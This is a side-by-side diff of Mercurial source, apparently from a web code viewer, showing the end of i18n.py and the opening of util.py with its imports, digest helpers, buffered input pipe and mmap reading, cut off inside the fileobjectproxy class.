91 | # means u.encode(sys.getdefaultencoding()).decode(enc). Since | |
95 | # the Python encoding defaults to 'ascii', this fails if the |
|
92 | # the Python encoding defaults to 'ascii', this fails if the | |
96 | # translated string use non-ASCII characters. |
|
93 | # translated string use non-ASCII characters. | |
97 | encodingstr = pycompat.sysstr(encoding.encoding) |
|
94 | encodingstr = pycompat.sysstr(encoding.encoding) | |
98 | cache[message] = u.encode(encodingstr, "replace") |
|
95 | cache[message] = u.encode(encodingstr, "replace") | |
99 | except LookupError: |
|
96 | except LookupError: | |
100 | # An unknown encoding results in a LookupError. |
|
97 | # An unknown encoding results in a LookupError. | |
101 | cache[message] = message |
|
98 | cache[message] = message | |
102 | return cache[message] |
|
99 | return cache[message] | |
103 |
|
100 | |||
104 |
|
101 | |||
105 | def _plain(): |
|
102 | def _plain(): | |
106 | if ( |
|
103 | if ( | |
107 | b'HGPLAIN' not in encoding.environ |
|
104 | b'HGPLAIN' not in encoding.environ | |
108 | and b'HGPLAINEXCEPT' not in encoding.environ |
|
105 | and b'HGPLAINEXCEPT' not in encoding.environ | |
109 | ): |
|
106 | ): | |
110 | return False |
|
107 | return False | |
111 | exceptions = encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',') |
|
108 | exceptions = encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',') | |
112 | return b'i18n' not in exceptions |
|
109 | return b'i18n' not in exceptions | |
113 |
|
110 | |||
114 |
|
111 | |||
115 | if _plain(): |
|
112 | if _plain(): | |
116 | _ = lambda message: message |
|
113 | _ = lambda message: message | |
117 | else: |
|
114 | else: | |
118 | _ = gettext |
|
115 | _ = gettext |
@@ -1,3596 +1,3595 b'' | |||||
1 | # util.py - Mercurial utility functions and platform specific implementations |
|
1 | # util.py - Mercurial utility functions and platform specific implementations | |
2 | # |
|
2 | # | |
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> | |
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> | |
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> | |
6 | # |
|
6 | # | |
7 | # This software may be used and distributed according to the terms of the |
|
7 | # This software may be used and distributed according to the terms of the | |
8 | # GNU General Public License version 2 or any later version. |
|
8 | # GNU General Public License version 2 or any later version. | |
9 |
|
9 | |||
10 | """Mercurial utility functions and platform specific implementations. |
|
10 | """Mercurial utility functions and platform specific implementations. | |
11 |
|
11 | |||
12 | This contains helper routines that are independent of the SCM core and |
|
12 | This contains helper routines that are independent of the SCM core and | |
13 | hide platform-specific details from the core. |
|
13 | hide platform-specific details from the core. | |
14 | """ |
|
14 | """ | |
15 |
|
15 | |||
16 | from __future__ import absolute_import, print_function |
|
16 | from __future__ import absolute_import, print_function | |
17 |
|
17 | |||
18 | import abc |
|
18 | import abc | |
19 | import collections |
|
19 | import collections | |
20 | import contextlib |
|
20 | import contextlib | |
21 | import errno |
|
21 | import errno | |
22 | import gc |
|
22 | import gc | |
23 | import hashlib |
|
23 | import hashlib | |
24 | import itertools |
|
24 | import itertools | |
25 | import mmap |
|
25 | import mmap | |
26 | import os |
|
26 | import os | |
27 | import platform as pyplatform |
|
27 | import platform as pyplatform | |
28 | import re as remod |
|
28 | import re as remod | |
29 | import shutil |
|
29 | import shutil | |
30 | import socket |
|
30 | import socket | |
31 | import stat |
|
31 | import stat | |
32 | import sys |
|
32 | import sys | |
33 | import time |
|
33 | import time | |
34 | import traceback |
|
34 | import traceback | |
35 | import warnings |
|
35 | import warnings | |
36 |
|
36 | |||
37 | from .thirdparty import attr |
|
37 | from .thirdparty import attr | |
38 | from .pycompat import ( |
|
38 | from .pycompat import ( | |
39 | delattr, |
|
39 | delattr, | |
40 | getattr, |
|
40 | getattr, | |
41 | open, |
|
41 | open, | |
42 | setattr, |
|
42 | setattr, | |
43 | ) |
|
43 | ) | |
44 | from hgdemandimport import tracing |
|
44 | from hgdemandimport import tracing | |
45 | from . import ( |
|
45 | from . import ( | |
46 | encoding, |
|
46 | encoding, | |
47 | error, |
|
47 | error, | |
48 | i18n, |
|
48 | i18n, | |
49 | node as nodemod, |
|
49 | node as nodemod, | |
50 | policy, |
|
50 | policy, | |
51 | pycompat, |
|
51 | pycompat, | |
52 | urllibcompat, |
|
52 | urllibcompat, | |
53 | ) |
|
53 | ) | |
54 | from .utils import ( |
|
54 | from .utils import ( | |
55 | compression, |
|
55 | compression, | |
56 | procutil, |
|
56 | procutil, | |
57 | resourceutil, |
|
57 | resourceutil, | |
58 | stringutil, |
|
58 | stringutil, | |
59 | ) |
|
59 | ) | |
60 |
|
60 | |||
61 | base85 = policy.importmod('base85') |
|
61 | base85 = policy.importmod('base85') | |
62 | osutil = policy.importmod('osutil') |
|
62 | osutil = policy.importmod('osutil') | |
63 |
|
63 | |||
64 | b85decode = base85.b85decode |
|
64 | b85decode = base85.b85decode | |
65 | b85encode = base85.b85encode |
|
65 | b85encode = base85.b85encode | |
66 |
|
66 | |||
67 | cookielib = pycompat.cookielib |
|
67 | cookielib = pycompat.cookielib | |
68 | httplib = pycompat.httplib |
|
68 | httplib = pycompat.httplib | |
69 | pickle = pycompat.pickle |
|
69 | pickle = pycompat.pickle | |
70 | safehasattr = pycompat.safehasattr |
|
70 | safehasattr = pycompat.safehasattr | |
71 | socketserver = pycompat.socketserver |
|
71 | socketserver = pycompat.socketserver | |
72 | bytesio = pycompat.bytesio |
|
72 | bytesio = pycompat.bytesio | |
73 | # TODO deprecate stringio name, as it is a lie on Python 3. |
|
73 | # TODO deprecate stringio name, as it is a lie on Python 3. | |
74 | stringio = bytesio |
|
74 | stringio = bytesio | |
75 | xmlrpclib = pycompat.xmlrpclib |
|
75 | xmlrpclib = pycompat.xmlrpclib | |
76 |
|
76 | |||
77 | httpserver = urllibcompat.httpserver |
|
77 | httpserver = urllibcompat.httpserver | |
78 | urlerr = urllibcompat.urlerr |
|
78 | urlerr = urllibcompat.urlerr | |
79 | urlreq = urllibcompat.urlreq |
|
79 | urlreq = urllibcompat.urlreq | |
80 |
|
80 | |||
81 | # workaround for win32mbcs |
|
81 | # workaround for win32mbcs | |
82 | _filenamebytestr = pycompat.bytestr |
|
82 | _filenamebytestr = pycompat.bytestr | |
83 |
|
83 | |||
84 | if pycompat.iswindows: |
|
84 | if pycompat.iswindows: | |
85 | from . import windows as platform |
|
85 | from . import windows as platform | |
86 | else: |
|
86 | else: | |
87 | from . import posix as platform |
|
87 | from . import posix as platform | |
88 |
|
88 | |||
89 | _ = i18n._ |
|
89 | _ = i18n._ | |
90 |
|
90 | |||
91 | bindunixsocket = platform.bindunixsocket |
|
91 | bindunixsocket = platform.bindunixsocket | |
92 | cachestat = platform.cachestat |
|
92 | cachestat = platform.cachestat | |
93 | checkexec = platform.checkexec |
|
93 | checkexec = platform.checkexec | |
94 | checklink = platform.checklink |
|
94 | checklink = platform.checklink | |
95 | copymode = platform.copymode |
|
95 | copymode = platform.copymode | |
96 | expandglobs = platform.expandglobs |
|
96 | expandglobs = platform.expandglobs | |
97 | getfsmountpoint = platform.getfsmountpoint |
|
97 | getfsmountpoint = platform.getfsmountpoint | |
98 | getfstype = platform.getfstype |
|
98 | getfstype = platform.getfstype | |
99 | groupmembers = platform.groupmembers |
|
99 | groupmembers = platform.groupmembers | |
100 | groupname = platform.groupname |
|
100 | groupname = platform.groupname | |
101 | isexec = platform.isexec |
|
101 | isexec = platform.isexec | |
102 | isowner = platform.isowner |
|
102 | isowner = platform.isowner | |
103 | listdir = osutil.listdir |
|
103 | listdir = osutil.listdir | |
104 | localpath = platform.localpath |
|
104 | localpath = platform.localpath | |
105 | lookupreg = platform.lookupreg |
|
105 | lookupreg = platform.lookupreg | |
106 | makedir = platform.makedir |
|
106 | makedir = platform.makedir | |
107 | nlinks = platform.nlinks |
|
107 | nlinks = platform.nlinks | |
108 | normpath = platform.normpath |
|
108 | normpath = platform.normpath | |
109 | normcase = platform.normcase |
|
109 | normcase = platform.normcase | |
110 | normcasespec = platform.normcasespec |
|
110 | normcasespec = platform.normcasespec | |
111 | normcasefallback = platform.normcasefallback |
|
111 | normcasefallback = platform.normcasefallback | |
112 | openhardlinks = platform.openhardlinks |
|
112 | openhardlinks = platform.openhardlinks | |
113 | oslink = platform.oslink |
|
113 | oslink = platform.oslink | |
114 | parsepatchoutput = platform.parsepatchoutput |
|
114 | parsepatchoutput = platform.parsepatchoutput | |
115 | pconvert = platform.pconvert |
|
115 | pconvert = platform.pconvert | |
116 | poll = platform.poll |
|
116 | poll = platform.poll | |
117 | posixfile = platform.posixfile |
|
117 | posixfile = platform.posixfile | |
118 | readlink = platform.readlink |
|
118 | readlink = platform.readlink | |
119 | rename = platform.rename |
|
119 | rename = platform.rename | |
120 | removedirs = platform.removedirs |
|
120 | removedirs = platform.removedirs | |
121 | samedevice = platform.samedevice |
|
121 | samedevice = platform.samedevice | |
122 | samefile = platform.samefile |
|
122 | samefile = platform.samefile | |
123 | samestat = platform.samestat |
|
123 | samestat = platform.samestat | |
124 | setflags = platform.setflags |
|
124 | setflags = platform.setflags | |
125 | split = platform.split |
|
125 | split = platform.split | |
126 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
126 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) | |
127 | statisexec = platform.statisexec |
|
127 | statisexec = platform.statisexec | |
128 | statislink = platform.statislink |
|
128 | statislink = platform.statislink | |
129 | umask = platform.umask |
|
129 | umask = platform.umask | |
130 | unlink = platform.unlink |
|
130 | unlink = platform.unlink | |
131 | username = platform.username |
|
131 | username = platform.username | |
132 |
|
132 | |||
133 | # small compat layer |
|
133 | # small compat layer | |
134 | compengines = compression.compengines |
|
134 | compengines = compression.compengines | |
135 | SERVERROLE = compression.SERVERROLE |
|
135 | SERVERROLE = compression.SERVERROLE | |
136 | CLIENTROLE = compression.CLIENTROLE |
|
136 | CLIENTROLE = compression.CLIENTROLE | |
137 |
|
137 | |||
138 | try: |
|
138 | try: | |
139 | recvfds = osutil.recvfds |
|
139 | recvfds = osutil.recvfds | |
140 | except AttributeError: |
|
140 | except AttributeError: | |
141 | pass |
|
141 | pass | |
142 |
|
142 | |||
143 | # Python compatibility |
|
143 | # Python compatibility | |
144 |
|
144 | |||
145 | _notset = object() |
|
145 | _notset = object() | |
146 |
|
146 | |||
147 |
|
147 | |||
148 | def bitsfrom(container): |
|
148 | def bitsfrom(container): | |
149 | bits = 0 |
|
149 | bits = 0 | |
150 | for bit in container: |
|
150 | for bit in container: | |
151 | bits |= bit |
|
151 | bits |= bit | |
152 | return bits |
|
152 | return bits | |
153 |
|
153 | |||
154 |
|
154 | |||
155 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
155 | # python 2.6 still have deprecation warning enabled by default. We do not want | |
156 | # to display anything to standard user so detect if we are running test and |
|
156 | # to display anything to standard user so detect if we are running test and | |
157 | # only use python deprecation warning in this case. |
|
157 | # only use python deprecation warning in this case. | |
158 | _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
|
158 | _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) | |
159 | if _dowarn: |
|
159 | if _dowarn: | |
160 | # explicitly unfilter our warning for python 2.7 |
|
160 | # explicitly unfilter our warning for python 2.7 | |
161 | # |
|
161 | # | |
162 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
162 | # The option of setting PYTHONWARNINGS in the test runner was investigated. | |
163 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
163 | # However, module name set through PYTHONWARNINGS was exactly matched, so | |
164 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
164 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This | |
165 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
165 | # makes the whole PYTHONWARNINGS thing useless for our usecase. | |
166 | warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') |
|
166 | warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') | |
167 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') |
|
167 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') | |
168 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') |
|
168 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') | |
169 | if _dowarn and pycompat.ispy3: |
|
169 | if _dowarn and pycompat.ispy3: | |
170 | # silence warning emitted by passing user string to re.sub() |
|
170 | # silence warning emitted by passing user string to re.sub() | |
171 | warnings.filterwarnings( |
|
171 | warnings.filterwarnings( | |
172 | 'ignore', 'bad escape', DeprecationWarning, 'mercurial' |
|
172 | 'ignore', 'bad escape', DeprecationWarning, 'mercurial' | |
173 | ) |
|
173 | ) | |
174 | warnings.filterwarnings( |
|
174 | warnings.filterwarnings( | |
175 | 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' |
|
175 | 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' | |
176 | ) |
|
176 | ) | |
177 | # TODO: reinvent imp.is_frozen() |
|
177 | # TODO: reinvent imp.is_frozen() | |
178 | warnings.filterwarnings( |
|
178 | warnings.filterwarnings( | |
179 | 'ignore', |
|
179 | 'ignore', | |
180 | 'the imp module is deprecated', |
|
180 | 'the imp module is deprecated', | |
181 | DeprecationWarning, |
|
181 | DeprecationWarning, | |
182 | 'mercurial', |
|
182 | 'mercurial', | |
183 | ) |
|
183 | ) | |
184 |
|
184 | |||
185 |
|
185 | |||
186 | def nouideprecwarn(msg, version, stacklevel=1): |
|
186 | def nouideprecwarn(msg, version, stacklevel=1): | |
187 | """Issue an python native deprecation warning |
|
187 | """Issue an python native deprecation warning | |
188 |
|
188 | |||
189 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
189 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. | |
190 | """ |
|
190 | """ | |
191 | if _dowarn: |
|
191 | if _dowarn: | |
192 | msg += ( |
|
192 | msg += ( | |
193 | b"\n(compatibility will be dropped after Mercurial-%s," |
|
193 | b"\n(compatibility will be dropped after Mercurial-%s," | |
194 | b" update your code.)" |
|
194 | b" update your code.)" | |
195 | ) % version |
|
195 | ) % version | |
196 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
|
196 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) | |
197 |
|
197 | |||
198 |
|
198 | |||
199 | DIGESTS = { |
|
199 | DIGESTS = { | |
200 | b'md5': hashlib.md5, |
|
200 | b'md5': hashlib.md5, | |
201 | b'sha1': hashlib.sha1, |
|
201 | b'sha1': hashlib.sha1, | |
202 | b'sha512': hashlib.sha512, |
|
202 | b'sha512': hashlib.sha512, | |
203 | } |
|
203 | } | |
204 | # List of digest types from strongest to weakest |
|
204 | # List of digest types from strongest to weakest | |
205 | DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
|
205 | DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] | |
206 |
|
206 | |||
207 | for k in DIGESTS_BY_STRENGTH: |
|
207 | for k in DIGESTS_BY_STRENGTH: | |
208 | assert k in DIGESTS |
|
208 | assert k in DIGESTS | |
209 |
|
209 | |||
210 |
|
210 | |||
211 | class digester(object): |
|
211 | class digester(object): | |
212 | """helper to compute digests. |
|
212 | """helper to compute digests. | |
213 |
|
213 | |||
214 | This helper can be used to compute one or more digests given their name. |
|
214 | This helper can be used to compute one or more digests given their name. | |
215 |
|
215 | |||
216 | >>> d = digester([b'md5', b'sha1']) |
|
216 | >>> d = digester([b'md5', b'sha1']) | |
217 | >>> d.update(b'foo') |
|
217 | >>> d.update(b'foo') | |
218 | >>> [k for k in sorted(d)] |
|
218 | >>> [k for k in sorted(d)] | |
219 | ['md5', 'sha1'] |
|
219 | ['md5', 'sha1'] | |
220 | >>> d[b'md5'] |
|
220 | >>> d[b'md5'] | |
221 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
221 | 'acbd18db4cc2f85cedef654fccc4a4d8' | |
222 | >>> d[b'sha1'] |
|
222 | >>> d[b'sha1'] | |
223 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
223 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' | |
224 | >>> digester.preferred([b'md5', b'sha1']) |
|
224 | >>> digester.preferred([b'md5', b'sha1']) | |
225 | 'sha1' |
|
225 | 'sha1' | |
226 | """ |
|
226 | """ | |
227 |
|
227 | |||
228 | def __init__(self, digests, s=b''): |
|
228 | def __init__(self, digests, s=b''): | |
229 | self._hashes = {} |
|
229 | self._hashes = {} | |
230 | for k in digests: |
|
230 | for k in digests: | |
231 | if k not in DIGESTS: |
|
231 | if k not in DIGESTS: | |
232 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
232 | raise error.Abort(_(b'unknown digest type: %s') % k) | |
233 | self._hashes[k] = DIGESTS[k]() |
|
233 | self._hashes[k] = DIGESTS[k]() | |
234 | if s: |
|
234 | if s: | |
235 | self.update(s) |
|
235 | self.update(s) | |
236 |
|
236 | |||
237 | def update(self, data): |
|
237 | def update(self, data): | |
238 | for h in self._hashes.values(): |
|
238 | for h in self._hashes.values(): | |
239 | h.update(data) |
|
239 | h.update(data) | |
240 |
|
240 | |||
241 | def __getitem__(self, key): |
|
241 | def __getitem__(self, key): | |
242 | if key not in DIGESTS: |
|
242 | if key not in DIGESTS: | |
243 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
243 | raise error.Abort(_(b'unknown digest type: %s') % k) | |
244 | return nodemod.hex(self._hashes[key].digest()) |
|
244 | return nodemod.hex(self._hashes[key].digest()) | |
245 |
|
245 | |||
246 | def __iter__(self): |
|
246 | def __iter__(self): | |
247 | return iter(self._hashes) |
|
247 | return iter(self._hashes) | |
248 |
|
248 | |||
249 | @staticmethod |
|
249 | @staticmethod | |
250 | def preferred(supported): |
|
250 | def preferred(supported): | |
251 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
251 | """returns the strongest digest type in both supported and DIGESTS.""" | |
252 |
|
252 | |||
253 | for k in DIGESTS_BY_STRENGTH: |
|
253 | for k in DIGESTS_BY_STRENGTH: | |
254 | if k in supported: |
|
254 | if k in supported: | |
255 | return k |
|
255 | return k | |
256 | return None |
|
256 | return None | |
257 |
|
257 | |||
258 |
|
258 | |||
259 | class digestchecker(object): |
|
259 | class digestchecker(object): | |
260 | """file handle wrapper that additionally checks content against a given |
|
260 | """file handle wrapper that additionally checks content against a given | |
261 | size and digests. |
|
261 | size and digests. | |
262 |
|
262 | |||
263 | d = digestchecker(fh, size, {'md5': '...'}) |
|
263 | d = digestchecker(fh, size, {'md5': '...'}) | |
264 |
|
264 | |||
265 | When multiple digests are given, all of them are validated. |
|
265 | When multiple digests are given, all of them are validated. | |
266 | """ |
|
266 | """ | |
267 |
|
267 | |||
268 | def __init__(self, fh, size, digests): |
|
268 | def __init__(self, fh, size, digests): | |
269 | self._fh = fh |
|
269 | self._fh = fh | |
270 | self._size = size |
|
270 | self._size = size | |
271 | self._got = 0 |
|
271 | self._got = 0 | |
272 | self._digests = dict(digests) |
|
272 | self._digests = dict(digests) | |
273 | self._digester = digester(self._digests.keys()) |
|
273 | self._digester = digester(self._digests.keys()) | |
274 |
|
274 | |||
275 | def read(self, length=-1): |
|
275 | def read(self, length=-1): | |
276 | content = self._fh.read(length) |
|
276 | content = self._fh.read(length) | |
277 | self._digester.update(content) |
|
277 | self._digester.update(content) | |
278 | self._got += len(content) |
|
278 | self._got += len(content) | |
279 | return content |
|
279 | return content | |
280 |
|
280 | |||
281 | def validate(self): |
|
281 | def validate(self): | |
282 | if self._size != self._got: |
|
282 | if self._size != self._got: | |
283 | raise error.Abort( |
|
283 | raise error.Abort( | |
284 | _(b'size mismatch: expected %d, got %d') |
|
284 | _(b'size mismatch: expected %d, got %d') | |
285 | % (self._size, self._got) |
|
285 | % (self._size, self._got) | |
286 | ) |
|
286 | ) | |
287 | for k, v in self._digests.items(): |
|
287 | for k, v in self._digests.items(): | |
288 | if v != self._digester[k]: |
|
288 | if v != self._digester[k]: | |
289 | # i18n: first parameter is a digest name |
|
289 | # i18n: first parameter is a digest name | |
290 | raise error.Abort( |
|
290 | raise error.Abort( | |
291 | _(b'%s mismatch: expected %s, got %s') |
|
291 | _(b'%s mismatch: expected %s, got %s') | |
292 | % (k, v, self._digester[k]) |
|
292 | % (k, v, self._digester[k]) | |
293 | ) |
|
293 | ) | |
294 |
|
294 | |||
295 |
|
295 | |||
296 | try: |
|
296 | try: | |
297 | buffer = buffer |
|
297 | buffer = buffer | |
298 | except NameError: |
|
298 | except NameError: | |
299 |
|
299 | |||
300 | def buffer(sliceable, offset=0, length=None): |
|
300 | def buffer(sliceable, offset=0, length=None): | |
301 | if length is not None: |
|
301 | if length is not None: | |
302 | return memoryview(sliceable)[offset : offset + length] |
|
302 | return memoryview(sliceable)[offset : offset + length] | |
303 | return memoryview(sliceable)[offset:] |
|
303 | return memoryview(sliceable)[offset:] | |
304 |
|
304 | |||
305 |
|
305 | |||
306 | _chunksize = 4096 |
|
306 | _chunksize = 4096 | |
307 |
|
307 | |||
308 |
|
308 | |||
309 | class bufferedinputpipe(object): |
|
309 | class bufferedinputpipe(object): | |
310 | """a manually buffered input pipe |
|
310 | """a manually buffered input pipe | |
311 |
|
311 | |||
312 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
312 | Python will not let us use buffered IO and lazy reading with 'polling' at | |
313 | the same time. We cannot probe the buffer state and select will not detect |
|
313 | the same time. We cannot probe the buffer state and select will not detect | |
314 | that data are ready to read if they are already buffered. |
|
314 | that data are ready to read if they are already buffered. | |
315 |
|
315 | |||
316 | This class let us work around that by implementing its own buffering |
|
316 | This class let us work around that by implementing its own buffering | |
317 | (allowing efficient readline) while offering a way to know if the buffer is |
|
317 | (allowing efficient readline) while offering a way to know if the buffer is | |
318 | empty from the output (allowing collaboration of the buffer with polling). |
|
318 | empty from the output (allowing collaboration of the buffer with polling). | |
319 |
|
319 | |||
320 | This class lives in the 'util' module because it makes use of the 'os' |
|
320 | This class lives in the 'util' module because it makes use of the 'os' | |
321 | module from the python stdlib. |
|
321 | module from the python stdlib. | |
322 | """ |
|
322 | """ | |
323 |
|
323 | |||
324 | def __new__(cls, fh): |
|
324 | def __new__(cls, fh): | |
325 | # If we receive a fileobjectproxy, we need to use a variation of this |
|
325 | # If we receive a fileobjectproxy, we need to use a variation of this | |
326 | # class that notifies observers about activity. |
|
326 | # class that notifies observers about activity. | |
327 | if isinstance(fh, fileobjectproxy): |
|
327 | if isinstance(fh, fileobjectproxy): | |
328 | cls = observedbufferedinputpipe |
|
328 | cls = observedbufferedinputpipe | |
329 |
|
329 | |||
330 | return super(bufferedinputpipe, cls).__new__(cls) |
|
330 | return super(bufferedinputpipe, cls).__new__(cls) | |
331 |
|
331 | |||
332 | def __init__(self, input): |
|
332 | def __init__(self, input): | |
333 | self._input = input |
|
333 | self._input = input | |
334 | self._buffer = [] |
|
334 | self._buffer = [] | |
335 | self._eof = False |
|
335 | self._eof = False | |
336 | self._lenbuf = 0 |
|
336 | self._lenbuf = 0 | |
337 |
|
337 | |||
338 | @property |
|
338 | @property | |
339 | def hasbuffer(self): |
|
339 | def hasbuffer(self): | |
340 | """True is any data is currently buffered |
|
340 | """True is any data is currently buffered | |
341 |
|
341 | |||
342 | This will be used externally a pre-step for polling IO. If there is |
|
342 | This will be used externally a pre-step for polling IO. If there is | |
343 | already data then no polling should be set in place.""" |
|
343 | already data then no polling should be set in place.""" | |
344 | return bool(self._buffer) |
|
344 | return bool(self._buffer) | |
345 |
|
345 | |||
346 | @property |
|
346 | @property | |
347 | def closed(self): |
|
347 | def closed(self): | |
348 | return self._input.closed |
|
348 | return self._input.closed | |
349 |
|
349 | |||
350 | def fileno(self): |
|
350 | def fileno(self): | |
351 | return self._input.fileno() |
|
351 | return self._input.fileno() | |
352 |
|
352 | |||
353 | def close(self): |
|
353 | def close(self): | |
354 | return self._input.close() |
|
354 | return self._input.close() | |
355 |
|
355 | |||
356 | def read(self, size): |
|
356 | def read(self, size): | |
357 | while (not self._eof) and (self._lenbuf < size): |
|
357 | while (not self._eof) and (self._lenbuf < size): | |
358 | self._fillbuffer() |
|
358 | self._fillbuffer() | |
359 | return self._frombuffer(size) |
|
359 | return self._frombuffer(size) | |
360 |
|
360 | |||
361 | def unbufferedread(self, size): |
|
361 | def unbufferedread(self, size): | |
362 | if not self._eof and self._lenbuf == 0: |
|
362 | if not self._eof and self._lenbuf == 0: | |
363 | self._fillbuffer(max(size, _chunksize)) |
|
363 | self._fillbuffer(max(size, _chunksize)) | |
364 | return self._frombuffer(min(self._lenbuf, size)) |
|
364 | return self._frombuffer(min(self._lenbuf, size)) | |
365 |
|
365 | |||
366 | def readline(self, *args, **kwargs): |
|
366 | def readline(self, *args, **kwargs): | |
367 | if len(self._buffer) > 1: |
|
367 | if len(self._buffer) > 1: | |
368 | # this should not happen because both read and readline end with a |
|
368 | # this should not happen because both read and readline end with a | |
369 | # _frombuffer call that collapse it. |
|
369 | # _frombuffer call that collapse it. | |
370 | self._buffer = [b''.join(self._buffer)] |
|
370 | self._buffer = [b''.join(self._buffer)] | |
371 | self._lenbuf = len(self._buffer[0]) |
|
371 | self._lenbuf = len(self._buffer[0]) | |
372 | lfi = -1 |
|
372 | lfi = -1 | |
373 | if self._buffer: |
|
373 | if self._buffer: | |
374 | lfi = self._buffer[-1].find(b'\n') |
|
374 | lfi = self._buffer[-1].find(b'\n') | |
375 | while (not self._eof) and lfi < 0: |
|
375 | while (not self._eof) and lfi < 0: | |
376 | self._fillbuffer() |
|
376 | self._fillbuffer() | |
377 | if self._buffer: |
|
377 | if self._buffer: | |
378 | lfi = self._buffer[-1].find(b'\n') |
|
378 | lfi = self._buffer[-1].find(b'\n') | |
379 | size = lfi + 1 |
|
379 | size = lfi + 1 | |
380 | if lfi < 0: # end of file |
|
380 | if lfi < 0: # end of file | |
381 | size = self._lenbuf |
|
381 | size = self._lenbuf | |
382 | elif len(self._buffer) > 1: |
|
382 | elif len(self._buffer) > 1: | |
383 | # we need to take previous chunks into account |
|
383 | # we need to take previous chunks into account | |
384 | size += self._lenbuf - len(self._buffer[-1]) |
|
384 | size += self._lenbuf - len(self._buffer[-1]) | |
385 | return self._frombuffer(size) |
|
385 | return self._frombuffer(size) | |
386 |
|
386 | |||
387 | def _frombuffer(self, size): |
|
387 | def _frombuffer(self, size): | |
388 | """return at most 'size' data from the buffer |
|
388 | """return at most 'size' data from the buffer | |
389 |
|
389 | |||
390 | The data are removed from the buffer.""" |
|
390 | The data are removed from the buffer.""" | |
391 | if size == 0 or not self._buffer: |
|
391 | if size == 0 or not self._buffer: | |
392 | return b'' |
|
392 | return b'' | |
393 | buf = self._buffer[0] |
|
393 | buf = self._buffer[0] | |
394 | if len(self._buffer) > 1: |
|
394 | if len(self._buffer) > 1: | |
395 | buf = b''.join(self._buffer) |
|
395 | buf = b''.join(self._buffer) | |
396 |
|
396 | |||
397 | data = buf[:size] |
|
397 | data = buf[:size] | |
398 | buf = buf[len(data) :] |
|
398 | buf = buf[len(data) :] | |
399 | if buf: |
|
399 | if buf: | |
400 | self._buffer = [buf] |
|
400 | self._buffer = [buf] | |
401 | self._lenbuf = len(buf) |
|
401 | self._lenbuf = len(buf) | |
402 | else: |
|
402 | else: | |
403 | self._buffer = [] |
|
403 | self._buffer = [] | |
404 | self._lenbuf = 0 |
|
404 | self._lenbuf = 0 | |
405 | return data |
|
405 | return data | |
406 |
|
406 | |||
407 | def _fillbuffer(self, size=_chunksize): |
|
407 | def _fillbuffer(self, size=_chunksize): | |
408 | """read data to the buffer""" |
|
408 | """read data to the buffer""" | |
409 | data = os.read(self._input.fileno(), size) |
|
409 | data = os.read(self._input.fileno(), size) | |
410 | if not data: |
|
410 | if not data: | |
411 | self._eof = True |
|
411 | self._eof = True | |
412 | else: |
|
412 | else: | |
413 | self._lenbuf += len(data) |
|
413 | self._lenbuf += len(data) | |
414 | self._buffer.append(data) |
|
414 | self._buffer.append(data) | |
415 |
|
415 | |||
416 | return data |
|
416 | return data | |
417 |
|
417 | |||
418 |
|
418 | |||
419 | def mmapread(fp): |
|
419 | def mmapread(fp): | |
420 | try: |
|
420 | try: | |
421 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
421 | fd = getattr(fp, 'fileno', lambda: fp)() | |
422 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
422 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) | |
423 | except ValueError: |
|
423 | except ValueError: | |
424 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
424 | # Empty files cannot be mmapped, but mmapread should still work. Check | |
425 | # if the file is empty, and if so, return an empty buffer. |
|
425 | # if the file is empty, and if so, return an empty buffer. | |
426 | if os.fstat(fd).st_size == 0: |
|
426 | if os.fstat(fd).st_size == 0: | |
427 | return b'' |
|
427 | return b'' | |
428 | raise |
|
428 | raise | |
429 |
|
429 | |||
430 |
|
430 | |||
431 | class fileobjectproxy(object): |
|
431 | class fileobjectproxy(object): | |
432 | """A proxy around file objects that tells a watcher when events occur. |
|
432 | """A proxy around file objects that tells a watcher when events occur. | |
433 |
|
433 | |||
434 | This type is intended to only be used for testing purposes. Think hard |
|
434 | This type is intended to only be used for testing purposes. Think hard | |
435 | before using it in important code. |
|
435 | before using it in important code. | |
436 | """ |
|
436 | """ | |
437 |
|
437 | |||
438 | __slots__ = ( |
|
438 | __slots__ = ( | |
